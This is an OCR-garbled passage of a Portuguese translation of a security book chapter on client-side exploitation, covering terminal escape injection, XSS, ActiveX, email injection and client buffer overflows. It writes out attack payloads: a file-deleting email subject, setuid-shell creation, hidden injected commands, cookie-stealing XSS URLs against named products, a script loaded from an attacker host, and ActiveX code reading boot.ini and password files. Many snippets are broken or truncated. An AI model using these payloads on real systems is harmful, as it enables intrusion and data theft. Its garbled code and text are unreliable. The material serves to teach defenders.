Onde ESC e o caractere de escape e X e substitufdo por urn numero da seguinte lista: Flashing on 5 Inverse video on 7 Fl as hi ng off 25 Inverse video off 27 Black foreground 30
2. A conversa em UNIX e a precursora do software de troca de mensagens instanraneas hoje em dia.
Capitulo 5 A arte de explora{:iiO de software cliente
187
Red foreground 31 Green foreground 32 Yellow foreground 33 . . . etc
Esses c6digos sao utilizados para controlar a exibi<;ao visual de caracteres. As vezes, os truques mais interessantes sao possfveis, dependendo do software de emula<;ao de terminais. Esses truques incluem a transferencia de arquivos ou a execu<;ao de comandos de shell. Por exemplo, algum software de emula<;ao de terminais desencadeara uma transferencia de arquivos nas seguintes saidas (onde eo nome do arquivo, ESC eo caractere de escapee CR e urn carriage return) : Transmitir urn arquivo: ESC {TCR Receber urn arquivo: ESC{RCR A utiliza<;ao desses padroes pode permitir que urn invasor transfira arquivos parae de urn sistema quando a vftima utiliza urn cliente ou terminal vulneravel. Os seguintes c6digos, utilizados por urn programa chamado Netterm sao ainda mais poderosos (onde e urn endere<;o Web e e urn comando de shell): Enviar o uri para o navegador web do cliente: A( []A( [0* Executar o comando especificado utilizando o shell de comando: A[ [] A [ [ h Imagine o que acontece quando urn invasor envia e-mail a vftima com a seguinte linha de assunto: Subject: voce perdeu! A((]del /Q c:\A((h
Ops! Li se vai a unidade: C:! Urn invasor deve considerar cada programa cliente ou terminal individualmente, dependendo dos c6digos de escape suportados. Entretanto, alguns c6digos de escape sao quase universais. Esses incluem as codifica<;oes de caractere HTML mostradas aqui: < > &
Caract:ere de HTML "menor que", '<' Caract:ere de HTML "maior que", '>' Caractere de HTML "e" comercial, '&'
As strings em C sao tambem extrema e comumente consumidas por programas clientes. Os seguintes sao c6digos de escape de exemplo freqi.ientemente consumidos por programas C: \a \b \t \n
String String String String
de de de de
caracteres caracteres caracteres caracteres
para para para para
BELL (sino) no C BACKSPACE (retrocesso) no C TAB (tabula~ao) CARRIAGE-RETURN (retorno de carro) no C
188
Como quebrar c6digos
Dlversao In-band com lmpressoras Naturalmente, 0 software terminal e OS programas clientes nao sao 0 unico software que converte dados em figuras ou formatam texto em uma tela. Considere a pobre impressora de escrit6rio. Quase todas as impressoras do mundo tern a capacidade de interpretar varios c6digos de escape. Por exemplo, a familia de impressoras da HP entende os c6digos da Printer Control Language (PCL) enviados para a porta TCP 9100. Uma tabela breve e incompleta de c6digos HP PCL (o c6digo de escapee o hexadecimallB) e como a seguinte: 18, 18, 18, 18,
2A, 72, # , 41 2A, 72, 42 End 26, 6(, # , 41 45
Start Raster Graphics Raster Graphics Paper Size PCL Reset
0 que surpreende sobre o conjunto de c6digos de impressora da HP
e que voce
realmente pode enviar caracteres ao visor (LED) na frente da impressora. Imagine a surpresa que seus colegas de escrit6rio terao quando voce enviar uma mensagem especial para o paine! de menu da impressora . Voce pode utilizar a TCP 9100 para configurar a mensagem de tela de LED, como a seguir: ESC%-1234SX@PJL RDYMSG DISPLAY = "Insi ra uma moeda!" ESC%-1234SX
onde ESC significa o caractere de escape {que eo c6digo hexadecimal 0xlB em ASCII). Urn tratamento bern complete da diversao da impressora HP esta disponfvel nos repositories do Phenoelit. lnje~ao
de caracteres de terminal In-band no Llnux Em alguns casos, pode-se inserir caracteres diretamente no buffer do teclado de urn terminal. Por exemplo, no Linux, o c6digo de escape \x9E\x9BC e conhecido por fazer os caracteres 6c aparecerem no buffer do teclado. Uma vftima que recebe esses caracteres em seu terminal estani executando sem saber o comando 6c. Urn invasor que coloca urn programa trojan chamado 6c no sistema do computador-alvo pode, dessa maneira, fazer com que ele seja executado. Tente os seguintes comandos de shell para determinar se os caracteres estao colocados no buffer do teclado: perl - e 'print "\x9E\x9bc"' echo - e "\033\132"
Observe que os resultados podem nao ser consistences em todos os sistemas. Normalmente uma string numerica ou alfanumerica e colocada no buffer do teclado. Pode haver multiples numeros separados por ponto-e-vfrgulas, semelhantes a:
Capitulo 5 A arte de explorafiiO de software cliente
189
1;0c 6c 62;1;2;6;7;8;9c etc ..
Diversos fragmentos de ataque podem ser utilizados em combinac;ao com a previa inje\=aO no Linux, para saber de dicas interessantes sobre 0 cliente que e atacado.
Fragmento de padrao de ataque: Manlpulando dlsposltlvos de terminal Para fazer com que caracteres sejam colados ao terminal de outro usuario, utilize o seguinte comando de shell (UNIX) : echo - e '\033\132'
>>
/dev/t tyXX
onde XX e 0 numero tty do usuario atacado. lsso colara OS caracteres em outro terminal (tty). Observe que essa tecnica funciona somente se o tty da vftima permitir que todos os usuaries escrevam (o que pode nao ser). Essa e uma razao pela qual programas para write (1) e talk (1) nos sistemas UNIX necessitam executar setuid.
* Exemplo de ataque: l nje\ao de buffer do teclado Suponha que a inje\=ao 6c descrita antes funcione conforme anunciado. 0 programa 6c executan1 comandos como a vftima. Mas a vftima pode notar algo estranho na linha de comando e excluf-la antes de pressionar o Enter. A altera\ao da cor de texto pode ajudar a inje\ao a ser menos perceptive! e, assim, fazer o ataque funcionar com mais freqiiencia. 0 seguinte codigo de escape fani a cor do texto mudar para preto: echo - e "\033[30m"
Agrupando isso com a string de inje\=aO resulta em um comando parecido com isso: echo -e "\033 [30m\033\132"
Mais uma vez, o usucirio deve pressionar a tecla Enter depois que esses dados sao colocados no buffer do teclado, mas agora seni mais diffcil ver a string injetada. Urn programa util de executar como o 6c seria algo que faz urn setuid shell. Eis urn conjunto relevante de comandos shell: cp /bin/sh /tmp/sh chmod 4777 /tmp/ sh
Nao se esque\=a de tornar executavel o programa que voce criar, como a seguir: chmod +x 6c
190
Como quebrar c6digos
0 problema da reflexao Uma maneira como os engenheiros tentaram resolver o problema de s i naliza~ao inband e detectar em que dire~ao OS dados estao fluindo. Naturalmente, OS dados que fluem do cliente sao fornecidos pelo usuario, e os dados que fluem do servidor sao fornecidos pelo servidor. A l6gica e que os c6digos de controle s6 estao corretos se o servidor os fornecer. 0 problema desse pensamento e que os dados se movem todo o tempo. Ao Iongo do tempo, nao se sabe onde os dados podem estar ou de quem vieram. O s dados podem "desprender-se" de qualquer local e ir em qualquer dire~ao sem aviso. Talvez urn usuario poste uma mensagem em um servidor que inclua c6digo hostil de JavaScript. Urn administrador poderia, entao, entrar no sistema cinco dias depois e visualizar essa mensagem, o que executa o c6digo hosti l e envia dados para fora. Portanto, um sistema pode aceitar os dados e, entao, posteriormente retransmitilo de volta para fora do sistema. lsso econhecido como problema de reflexao. Urn born exemplo do problema de reflexao trata do protocolo de modem Hayes. Se urn cliente enviar os caracteres +++ath0 para fora por meio de urn modem H ayes, o modem interpretara os caracteres como um c6digo especial de comrole que significa "desligar a linha ". 0 usuario pode utilizar esse comando para se desconectar da rede. Imagine o que acontece quando o usuario acidentalmente envia urn arquivo de texto ou mensagem para urn servidor com os caracteres +++ath0 incorporados. 0 inocente usuario provavelmente sera surpreendido ao perceber que seu modem foi desconectado. Esse problema e muito facil de explorar enviando um pacote ping a urn host na Internet. 0 ping enviara de volta qualquer dado que for enviado para ele. Entao, urn invasor pode realizar urn ping de urn host com +++ath0 e o host enviani a string de volta. Depois que a string for enviada pelo modem, este se desconectani.
Cross-site Scripting (XSS) 0 cross-site scripting (XSS) tornou-se urn assunto popular em seguran~a, mas o XSS realmente eapenas outro exemplo de sinais in-band sendo interpretado pelo software cliente- nesse caso, o navegador Web. 0 XSS e urn ataque popular porque os sites Web sao comuns e numerosos. Para executar um ataque de XSS, um invasor pode colocar uma armadilha nos dados que utilizam c6digos especiais de escape. Essa e uma forma moderna de utilizar c6digos de escape de terminais em nomes de arquivo ou so l icita~oes de conversa. Nesse caso, o terminal eo navegador Web que inclui os recursos avan~ados, como a capacidade de executar JavaScripts incorporados. Urn ataque pode injetar algumJavaScript prejudicial ou algum outro elemento m6vel de c6digo em dados que mais tarde serao lidos e executados por outro uswirio do servidor. 0 c6digo e executado na maquina da vftima, as vezes destruindo-a. A Figura 5.1 mostra urn exemplo de XSS em ac;ao. Em a lguns casos, urn invasor pode incluir urn script em urn payload assim: <script SRC=' http://bad - si te/badfi le '>
19.1
Capitulo 5 A arte de explora{:iiO de software cliente
0 f)
Voce ganhou! Clique aqui
Site web vulneravel
Bem-vindo de volta!
Q
Computador doinvasor Host do script
tc-/ _ _ _ _--r/ <script> evil Script()
/
.____ _ _____y
Figura 5.1: XSS ilustrado. 0 invasor envia urn e-mail para a vltima (1 ), que contem um c6digo que invoca um script no site Web vulneravel (2). Mais tarde, uma vez solicitado pelo navegador Web, o site Web vulneravel acessado (3), o script executado (4) e o acesso ao invasor e liberado(5).
e
e
Nesse caso, a origem do script e obtida de urn sistema externo. 0 script final, entretanto, e executado no contexto de seguran~a da conexao navegador-servidor do site original. 0 nome "cross-site" ("entre sites") vern do faro de que a origem do script e obtida de uma fonte externa, nao-confiavel.
* Exemplo de ataque: Janela pop-up de alerta JavaScript XXS Urn tipo inofensivo de ataque XSS faz com que uma janela pop-up surja, dizendo qualquer coisa que o invasor desejar. Isso e comumente utilizado como urn teste contra urn site. Urn invasor simplesmente insere o seguinte c6digo de script em forma de entrada no site-alvo: <script>alert("algum texto") ;
Ao visualizar as paginas subseqiientes, o invasor espera que se abra uma caixa de dialogo com "algum texto".
192
Como quebrar c6digos
Utlllzando a reflexao contra sites confiaveis Considere uma sirua~ao em que urn invasor envia urn e-mail contendo urn script incorporado. A vftima pode nao-confiar na mensagem de e-mail e, assim, desabilitar o script. Portanto, o ataque falha. Agora suponha que a mesma vitima utilize um conhecido sistema on-line. 0 invasor pode saber que a vftima utiliza e confia no sistema on-line. 0 invasor tambem pode ter descoberto uma vulnerabilidade de XSS no sistema-alvo. De posse desse conhecimento, o invasor pode enviar urn e-mail com urn link incorporado para o sitealvo em que ela confia. 0 link pode cooter dados enviados para o site-alvo, que faz algo como enviar uma mensagem. 0 link pode ser semelhante a c1 i que-me
Sea vftima clicar no link, a mensagem "minha mensagem vai aqui" sera enviada para o site-alvo. 0 site-alvo exibini, entao, a mensagem novamente vftima. Essa e uma forma muito comum de ataque XSS. Portanto, urn problema de cross-site no site-alvo pode ser utilizado para enviar o script de volta a vitima. 0 script nao esta no proprio e-mail; em vez disso, e enviado de volta pelo site-alvo. Uma vez que a vftima visualize os dados que foram enviados, o script se torna ativo no navegador da vftima. 0 seguinte link pode resultar em uma mensagem pop-up JavaScript:
A mensagem enviada para o servidor e &1tscript>a1ert( 0 he11o! 0 )&1t/script>
e e possfvel que o servidor-alvo converta esse texto (devido aos caracteres de escape) em: <script>a1ert( 0 he110! 0 )
Portanto, quando a vftima visualizar o resultado de seu envio, seu navegador recebera determinado c6digo de script para executar.
Padrao de ataque: lnjesao de script simples Como usuario normal de um sistema, ha oportunidades de fornecer entrada ao sistema. Essa entrada pode incluir texto, numeros, cookies, parametros etc. Uma vez que esses valores sejam aceitos pelo sistema, podem ser armazenados e utilizados posteriormente. Se os dados forem utilizados em uma resposta do servidor (como um quadro de avisos, onde os dados sao armazenados e entao exibidos novamente para os usuarios), um invasor pode "poluir" esses dados com c6digos que serao interpretados por terminais de clientes sobre os quais nao ha suspeita.
.193
Capitulo 5 A arte de explorayao de software cliente
* Exemplo de ataque: lnje\ao de script simples Se urn banco de dados registra textos, urn invasor pode inserir urn registro que contenha JavaScript. 0 JavaScript poderia ser algo como: al ert( "Aviso, setor de i ni cial izac;ao corrompi do");
Isso abre uma mensagem pop-up no terminal do cliente exibindo a (falsa) mensagem de erro. Urn usuario inocente pode ficar muito confuso. Urn ataque mais insidioso inclui urn script para alterar arquivos na unidade de disco do cliente ou autorizar urn ataque. 0 ICQ (uma grande empresa adquirida pela AOL) teve urn problema como esse em seu site Web. Urn usuario podia colar c6digo HTML malicioso ou script em uma mensagem que depois seria exibida a outros usuaries. 0 URL do ataque era algo assim: http://search.icq.com/dirsearch.adp?query<script>alert('hello');est&vh=is&users=l
Muitos sites Web que mantem livros de visitas ou bases de mensagem tem esses problemas. 0 Slashdot.org, urn site popular de notfcias para aficionados por computador, por exemplo, teve esse problema (que foi corrigido recentemente). Testar esse problema e simples: basta colar o script em urn campo de entrada e observar o resultado.
Padrio de ataque: lncorporando scripts em elementos nio-scrlpt 0 script nao precisa ser inserido entre os tags <script>. Em vez disso, pode aparecer como parte de outro tag HTML, como o tag image. 0 vetor de inje\=ao e:
* Exemplo de ataque: 0 script incorporado em urn elemento nao-script de GNU Mailman XXS Considere o seguinte URL: http://host/mailman/listinfo/
Padrio de ataque: XSS em
cabe~alhos
HTTP
Os cabe\=alhos HTIP de uma solicita\=ao estao sempre disponlveis para consumo em um servidor. lndependentemente do contexto ou de onde os dados estao posicionados, se os dados sao do cliente, evidentemente nao devem ser confiaveis. Entretanto, em muitos casos, os programadores ignoram as informa\=6es do cabe\=alho. Por alguma razao, as informa\=6es do cabe\=alho sao consideradas intocaveis, ou seja, nao podem ser controladas pelo usuario. Esse padrao tira proveito desse descuido para injetar dados via campo de cabe\=alho.
194
Como quebrar c6digos
* Exemplo de ataque: Cabe\alhos HITP em Webalizer XSS Urn programa chamado webalizer pode analisar logs de solicita~oes da Web. As vezes, os mecanismos de busca colocadio os dados de identifica~iio no campo Referer quando fazem uma solicita~iio. 0 Webalizer pode (por exemplo) pesquisar todas as solicita~oes feitas a partir de mecanismos de busca e gerar uma lista de palavras-chave de pesquisa. As palavras-chave, uma vez obtidas, sao catalogadas em uma pagina HTML. Urn ataque XSS pode ser executado com esses termos de pesquisa. Isso envolve falsificar uma solicita~iio de urn mecanismo de busca e por o script incorporado no proprio termo da pesquisa. 0 Webalizer co pia a string de ataque, sem filtro, no catalogo de termos de pesquisa conhecidos, onde, entiio, e ativada por urn administrador.
Padrio de ataque: Strings de consulta de HTTP Uma string de consulta adota os pares variavel = valor. Esses sao repassados ao executavel-alvo ou ao script designado na solicita~ao. Uma variavel pode ser injetada com o script. 0 script e processado e armazenado de certa maneira, que fica posteriormente vislvel ao usuario.
* Exemplo de ataque: Sistema de gerenciamento de conteudo PostNuke XSS 0 sistema de gerenciamento de conteudo de PosrNuke (http://www.postnuke.com/) tinha uma vulnerabilidade na qual HTML fornecida pelo usuario podia ser injetada. 0 seguinte URL executou urn ataque simples de string de consulta: http://[website]/ user. php ?op=userinfo&uname=alert( document.cookie) ;.
* Exemplo de ataque: EasyNews PHP Script XSS A seguinte solicita~ao HTML podia fazer com que urn envio simultaneo fosse realizado, o que inclui urn ataque XSS: http://[target)/index.php?action;comments&do;save&id; l&cid; .. /news& name=ll/11/ll&kommentar=%20&e-mail=hax0r&zeit=,ll:ll, .. /news, bugs@securityalert.;com&datum;easynews%20exploited
Padrio de ataque: Nome de arquivo controlado pelo usuarlo Um nome de arquivo sem filtro controlado pelo usuario pode ser utilizado para construir a HTML do cliente. Talvez o texto HTML esteja sendo construldo a partir de nomes de arquivo. Pode ser esse o caso se um servidor Web estiver exibindo um diret6rio no sistema de arquivos, por exemplo. Se o servidor nao filtrar determinados caracteres, o proprio nome de arquivo pode incluir urn ataque XSS.
195
Capitulo 5 A a-rte de explora{:ao de software cliente
* Exemplo de ataque: XSS em arquivos de MP3 e planilhas 0 problema de cross-site nao se restringe somente aos sites Web. Ha muitos tipos de arquivos de midia que contem URLs, incluindo arquivos de musica MP3, arquivos de video, postscripts, arquivos PDF e ate arquivos de planilha. Os programas clientes utilizados para visualizar esses tipos de arquivos interpretam os dados URL incorporados diretamente ou podem transferir os dados HTML para urn navegador Web incorporado, como o controle do Microsoft Internet Explorer. Uma vez que o controle e transferido, os dados incorporados estao sujeitos aos mesmos problemas como em urn ataque tradicional de XSS. A Microsoft considera o problema de XSS extremamente serio e dedica atenc;ao considenive l para erradicar as vulnerabilidades de XSS durante sua fase autodenominada de "iniciativa de seguranc;a" de desenvolvimento de software. 3
Scripts clientes e codigo malicioso "0 virus 'Ilove You' contaminou mais de um milhao de computadores em 5 horas. "4 Programas clientes como o Microsoft Excel, Word ou Internet Explorer sao capazes de executar c6digo baixado de origens nao-confiaveis. Por causa disso, eles criam urn ambiente em que se desenvolvem virus e worms. De fato, ate recentemente, a rapida disseminac;ao e os vfrus mais difundidos de todos os tempos exploraram problemas de script: Concept (1997), Melissa (1999), IloveYou (2000), NIMDA (2002). A chave para atacar um programa cliente e identificar os objetos locais e as chamadas API que urn script cliente pode acessar. Muitas dessas func;oes de biblioteca podem ser exploradas para obter acesso ao sistema local. Considere uma rede-alvo de alguns milhares de n6s. Perceba que muitos desses sistemas executam o mesmo software cliente, a mesma versao do Windows, os mesmos clientes de e-mail etc. Isso cria urn ambiente de monocultura em que urn unico worm pode apagar (ou, pior ainda, possuir silenciosamente) uma porcentagem substancial da rede alvo. Utilizando os truques da engenharia reversa (descritos no Capitulo 3), urn invasor pode identificar as frageis chamadas de biblioteca e desenvolver urn virus que instalara backdoors, sniffers de e-mail e ferramentas de ataque a banco de dados.
* Exemplo de ataque: Func;ao Host() do Excel A func;ao Host() , quando incorporada a documentos de escrit6rio, pode ser utilizada em urn ataque. 3. 0 livro Writing Secure Code (Howard e LeBlanc, 2002] descreve como a ciclo de vida de desenvolvimento de software da Microsoft. 4. US Office of the Undersecretary of Defense, fevereiro de 2001.
seguran~a
foi integrada no
196
Como quebrar c6digos
* Exemplo de ataque: WScript.Shell 0 mecanismo wscript e urn alvo uti) de ataque que pode acessar o registro do Windows e executar comandos de shell: Myobj = new ActiveXObject("WScri pt. Shell"); Myobj.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /C DIR C:\\ /A /P /S");
* Exemplo de ataque: Scripting.FileSystemObject E muito
comum o uso do FileSystemObject por worms baseados em script. lsto pode ser usado para manipular tanto arquivos ASCII como binarios no sistema.
* Exemplo de ataque: Wscript.Network A chamada network Wscript pode ser utilizada para mapear as unidades de rede.
* Exemplo de ataque: Scriptlet. Typelib 0 scriptlet Typel i b pode ser utilizado para criar arquivos. Urn invasor pode utilizar isso para colocar c6pias de script em certas localiza<;6es em unidades de rede para que sejam, entao, executados ao se reinicializar.
Audltando chamadas locals fracas Uma boa maneira de come<;ar a aplicar essa tecnica e procurar controles que acessam o sistema local ou a rede local, incluindo chamadas de sistema locais. Uma pesquisa pequena e incompleta no registro do Windows XP revela algumas DLLs que sao responsaveis por prestar assistencia a chamadas de script interessantes: scrrun. d11 Scripting.FilesystemObject Scripting.Encoder wbemdi sp. d11
Executar uma analise de arvore de dependencia em scrrun.dll revela a capacidade inerente da DLL. Em outras palavras, esse exercfcio diz o que os scripts sao capazes de fazer, dadas as instru<;6es corretas. A ferramenta "Depends" e uti! para determinar que chamadas podem ser feitas a partir de uma DLL espedfica. A ferramenta vern com as ferramentas-padrao de desenvolvimento fornecidas pela Microsoft (Figura 5.2).
197
Capitulo 5 A arte de explora{:iiO de software cliente
Ox77F40000 Ox77EBOOOO Ox759BOOOO 0><78000000 Ox77FBOOOO Ox77A50000 v
> F1
Figura 5 .2: Uma captura de tela dos resultados da ferramenta "Depends" para DLL de SCRRUN. Observar as dependencias revela as informa~oes que podem ser reunidas em um ataque.
Utilizando "depends", podemos determinar que SCRRUN utilize as seguintes fun~oes de DLLs importadas: ADVAP132 . DLL
Esta lista e interessante porque mostra o que scr run . dll talvez consiga fazer em nome de urn script. Nem todas as chamadas listadas aqui sao necessariamente expostas a um script, mas muitas delas sao. Pense em termos da analogia de escolha de bloqueio que discutimos nos capftulos anteriores. Urn script fornece uma maneira de selecionar OS bloqueios logicos entre VOCe e a chamada da bib}ioteca que VOCe procura. Muitas dessas chamadas de biblioteca serao exploraveis a partir de urn script, dadas as circunstancias certas. Navegadores Web e ActlveX
0 navegador Web moderno tornou-se uma sandbox de execuc;ao para c6digo move!. Assim, o navegador e urn cliente "gordo" que executa urn c6digo amplamente naoconfiavel. Isso talvez nao seja urn problema tao grande, exceto que normalmente o navegador nao esteja adequadamente segmentado a partir do sistema operacional do host. Ate mesmo sistemas "seguros" de c6digo m6vel, como Java VMs, tern hist6rias de defeitos que permitiram que invasores contornassem a seguran<;a da sandbox.5 No caso da tecnologia da Microsoft, o problema e muitas vezes pior do que com outros sistemas. A tecnologia COM/DCOM (as vezes reunida como ActiveX e mais recentemente referida como .NET) expoe enormes acoplamentos entre servic;os de sistema do host e c6digo potencialmente malicioso. Dezenas de formas de explora~oes foram descobertos oa camada entre o navegador e o ActiveX. Muitas dessas vuloerabilidades permitem que os scripts acessem o sistema de arquivos local. Para eoteoder a profundidade desse problema, tome qualquer func;ao ActiveX que aceite urn URL e fornec;a urn arquivo local em troca. Muitos dos problemas de caminho relativo que delineamos em capftulos aoteriores podem ser aplicados diretamente. As tentativas de codificar o nome de arquivo de varias maneiras combinadas com percurso de camioho relativo produziriio exploits bem-sucedidos. 0 ActiveX e urn campo fertil para os exploits. De certa maneira, a camada entre os scripts eo sistema operacional fornece ainda outra zona de confianc;a onde ataques classicos de entrada podem ser realizados. Como resultado, a maioria dos truques geoericos que se aplicam a entrada do servidor (veja o Capitulo 4) pode ser aplicada aqui tam bern, com a diferen~a de que dessa vez nosso alvo e o cliente. 5. Para mais informa~oes sobre seguran~a de c6digo m6vel, sandboxing e problemas de relacionados, consulte Securing Java [McGraw e Felten, 1998].
seguran~a
Como quebrar c6digos
202
Padrao de ataque: Passando nomes de arqulvos locals a fun~oes que esperam um URL Utilize nomes de arquivos locais com interessantes.
fun~oes
que esperam consumir um URL. Encontre conexoes
* Exemplo de ataque: Nomes de arquivos locais eo preloader (pre-carregador) de ActiveX A Microsoft embute urn modulo com o Internet Explorer chamado preloader. Esse modulo pode ser acessado a partir de urn script para ler arquivos na unidade de disco local. 0 codigo JavaScript segue: <script LANGUAGE=" JavaScript">
prel oader.Enable=0; preloader.URL = "c:\\boot. ini"; preloader.Enable=l; }
II-> <script LANGUAGE="JavaScri pt" FOR="preloader" EVENT="Complete()"> II Estamos aqui se local izamos o arquivo. click here to get boot. ini file
* Exemplo de ataque: A chamada do Internet Explorer GetObject() 0 Internet Explorer inclui uma chamada de ataques:
fun~ao
que pode ser utilizada em varios
DO=GetObject ("http: I/"+ 1ocati on. host+"/ . ./ .. I . . I . . I . . I . . /boot. i ni", "htmlfil e") ; DO=GetObject("c: \\boot . i ni", "htmlfi l e")
Acesse o texto de urn arquivo-alvo utilizando: DO.body.innerText
* Exemplo de ataque: Objeto do ActiveX ixsso.query Ainda outro objeto ActiveX tern problemas semelhantes: nn=new ActiveXObject("ixsso .query") ; nn.Catalog="System";
203
Capitulo 5 A a-rte de explora{:ao de software cliente
nn .query='@fi lename
=
* .pwl ';
0 ActiveX e urn poderoso aliado dos invasores. lnje~ao
de e-mail Os sistemas de troca de mensagens tambem apresentam oportunidades de ampliar a ideia de inje~ao no cliente. Os sistemas de troca de mensagens em geral sao projetados para tomar urn bloco de dados e coloca-los em urn ambiente-alvo onde possam, entao, ser interpretados. Considere os pagers, a troca de mensagens SMS e os sistemas de e-mail. Urn invasor pode explorar facilmente o espa~o de entrada de uma mensagem injetando seqi.iencias de caracteres e observando o resultado. No caso do e-mail, o programa cliente pode ser muito complexo, pelo menos tao complexo quanto uma interface de navegador Web. Isso significa que os mesmos truques que podem ser aplicados a uma inje~ao no cliente contra urn terminal de navegador tambem podem ser aplicados em uma mensagem de e-mail. 0 conteudo a ser injetado em uma mensagem pode existir em qualquer parte do cabe~a lh o ou corpo do e-mail. Isso pode incluir o assunto do e-mail, campo do destinatario ou mesmo o nome de urn host DNS resolvido.
Padrao de ataque: Metacaracteres no
cabe~alho
de e-mail
Os metacaracteres podem ser fornecidos em um cabe~alho de e-mail e consumidos pelo software cliente para um efeito interessante.
* Exemplo de ataque: Os metacaracteres e o reposit6rio da lista de e-mails FML6 Quando o aplicativo FML gera urn fndice de reposit6rio de mensagens armazenadas, inclui cegamente o cabe~alho de assunto e falha ao separar qualquer script incorporado ou c6digos HTML. 0 resultado e urn relat6rio de fndice que, quando visualizado em um terminal de navegador, inclui os c6digos de script fornecidos pelo invasor. Ataques semelhantes podem ser executados contra o campo ASSUNTO, o campo DE (especialmente com HTML), o campo PARA (tambem HTML) eo proprio corpo de e-mail.
* Exemplo de ataque: 0
Outlook XP e a HTML em Responder ou Encaminhar
0 Outlook XP executani a HTML incorporada em um corpo de e-mail quando o usuario escolher responder ou encaminhar. E' interessante tentar o seguinte trecho da HTML:
* Exemplo de ataque: Horde IMP Urn usuario remoto pode criar uma mensagem de e-mail maliciosa baseada em HTML de tal modo que, quando ela for visualizada, urn c6digo arbitn1rio sera executado pelo navegador do usmirio-alvo. Parecera que o c6digo origina do servidor de e-mail e, assim, sera capaz de acessar os cookies do Webmail do usuario e encaminha-los para outra loca l iza~ao. Como o e-mail esta sendo visualizado de urn servidor confiavel (voce confia no seu servidor de e-mail, nao-confia?), o navegador confia no servidor de e-mail. Isso inclui confian~a ampliada em qualquer script incorporado. As pr6prias mensagens de e-mail claramente arbitrarias nao devem ser confiaveis. Esse e urn defeito grave no projeto do produto. Utilizando o tipo correto de scripts, urn invasor pode, por exemplo, roubar os cookies associados com uma sessao Web. Em muitos casos, se urn invasor obtem os cookies corretos, os mesmos direitos e privilegios do usuario original serao transferidos para o invasor. Portanto, depois de obter os cookies, o invasor pode "personificar" o usuario original e ler seus e-mails.
* Exemplo de ataque: Baltimore Technologies MailSweep er Simultaneamente, urn usuario remoto pode colocar JavaScript ou VBScript em certos tags HTML para contornar a fil tragem que o Mai iSweeper de Baltimore utiliza. Por exemplo, as duas tags HTML seguintes nao foram adequadamente filtradas pelo produro:
e urn ataque') ">C1 i que SRC="j avascri pt :a1ert(' Ist o e urn ataque') ">
* Exemplo de ataque: Filtragem de Tags JavaScript no Hotmail Em uma versao mais antiga do Hotmail, os usuaries podiam incorporar script no campo DE ao enviar e-mail. Isso nao seria filtrado. Por exemplo, urn ataque talvez envolva colar o seguinte script no campo DE: a backg round=javascript:a1ert('isto
e
urn ataque' ) @hotrnail.com
Como quebrar c6digos
206
Ataques baseados no conteudo Quando o software cliente exibe e executa arquivos de mfdia que contem dados maliciosos, e habilitada outra forma de ataque ao cliente- chamada de ataques baseados em conteudo. Os ataques baseados em contet1do variam do misterioso (postscript malicioso incorporado que pode literalmente eliminar uma impressora, queimandoa) ao mais 6bvio (utilizando a funcionalidade incorporada dentro de um protocolopadrao para executar conteudo malicioso).
Padrao de ataque: lnje~ao de fun~oes de sistema de arqulvos baseada no conteudo
e
Um cabe~alho de protocolo ou trecho de c6digo incorporado em um arquivo de mfdia utilizado em uma chamada de fun~ao confiavel quando o arquivo e aberto pelo cliente. Os exemplos incluem arquivos de musica como MP3, reposit6rios de arquivos como ZIP e TAR e arquivos mais complexos como arquivos PDF e Postscript. Os alvos comuns para esse ataque sao os arquivos do Microsoft Word e Excel, geralmente enviados como anexos de e-mail. Em geral, um invasor utiliza caminhos relativos em reposit6rios ZIP, RAR, TARe os descompacta para chegar aos diret6rios-pai.
* Q uatro exemplos de ataque: Internet Explorer 5 1. 0 "comportamento de download" do Internet Explorer 5 permite que invasores remotes leiam arquivos arbitd.rios por meio de redirecionamento do servidor. 2. 0 controle do preloader do ActiveX utilizado pelo Internet Explorer permite que invasores remotes leiam arquivos arbitnirios. 3. 0 Internet Explorer 5.01 (e versoes anteriores) permite que urn invasor remoto erie uma referencia a uma janela do cliente e utilize um redirecionamento do servidor para acessar arquivos locais por meio dessa janela . Esse problema e referido como redirecionamento de referencia da pdgina do server-side. 4 . JavaScript no Internet Explorer 3.x e 4.x; eo Netscape 2.x, 3.x e 4. x permitem que invasores remotes monitorem as atividades Web de urn uswirio. 0 spoofing de Web e uma forma particular desse ataque.7
7. 0 spoofing de Web foi descoberto e tornado publico em 1997 porEd Felten e a equipe de Programa~ao Segura de Internet da Princeton [Felten er al., 1997]. lnfelizmenre, esse tipo de ataque ainda e possfvel hoje. No "cora<;ao" do problema esta a questao de confiar no que o software clienre exibe. Geralmenre, os invasores tiram proveito da confian<;a mal uriJizada pelo clienre. Veja a lisra de referencia ou hnp:// www.cs.princeton.edu/sip/pub/spoofing.httnl para informa<;oes adicionais.
Capitulo 5 A arte de explorafiiO de software cliente
207
Ataques retroativos: Buffer overflows no cliente Nada e mais progressista do que atacar diretamente OS que atacam voce. Em muitos casos, essa filosofia ocorre como uma serie de ataques de nega~ao de servi~o lan~ados em qualquer dire~ao. Em cenarios-padrao, voce pode saber qual endere~o IP esta sendo utilizado para atad-lo e, entao, dar a contrapartida com urn ataque proprio. (Contudo, precavenha-se de que sao drasticas as ramifica~oes legais do contra-ataque.) Se o invasor for suficientemente ignorante e deixar os servi~os abertos, em alguns casos voce podeni ter 0 controle do sistema dele. Isso levou alguns tipos de seguran~a a considerar uma tatica bastante insidiosa: criar servi~os de rede hostis que se pare~am com alvos validos. A ideia basica se baseia nos honeypots, mas da urn importante passo adiante. 8 Como a maioria dos softwares dos clientes contem buffer overflows e outras vulnerabilidades, e possfvel incluir a capacidade de explorar essas fraquezas diretamente quando sao investigadas. De modo nada surpreendente, em todo o c6digo testado e investigado em uma situa~ao de seguran~a, o c6digo cliente normalmente e ignorado. Essa e uma das razoes pelas quais esse c6digo cliente acaba tendo problemas mais serios do que o c6digo servidor. Se urn cliente vulnenivel se une a um servi~o hostil, esse servi<;:o hostil pode tentar identificar o tipo e a versao do cliente que esta se conectando. Essa e uma variedade de identifica~ao. Uma vez que o cliente seja adequadamente identificado, o servidor hostil pode emitir uma resposta que explore urn buffer overflow (ou outro defeito de seguran<;:a) no cliente. Em geral, esse tipo de ataque nao e projetado simplesmente para travar o cliente. Os invasores que utilizam essa tecnica podem injetar urn vfrus ou backdoor no computador do invasor original, utilizando sua propria conexao contra eles. Obviamente, esse tipo de "ataque retroativo" e uma seria ameas:a ao invasor. Qualquer pessoa que planejar atacar sistemas arbitrarios deve pressupor que urn ataque retroarivo pode e ira acontecer. Todo e qualquer software cliente deve ser cuidadosamente examinado antes da utiliza~ao.
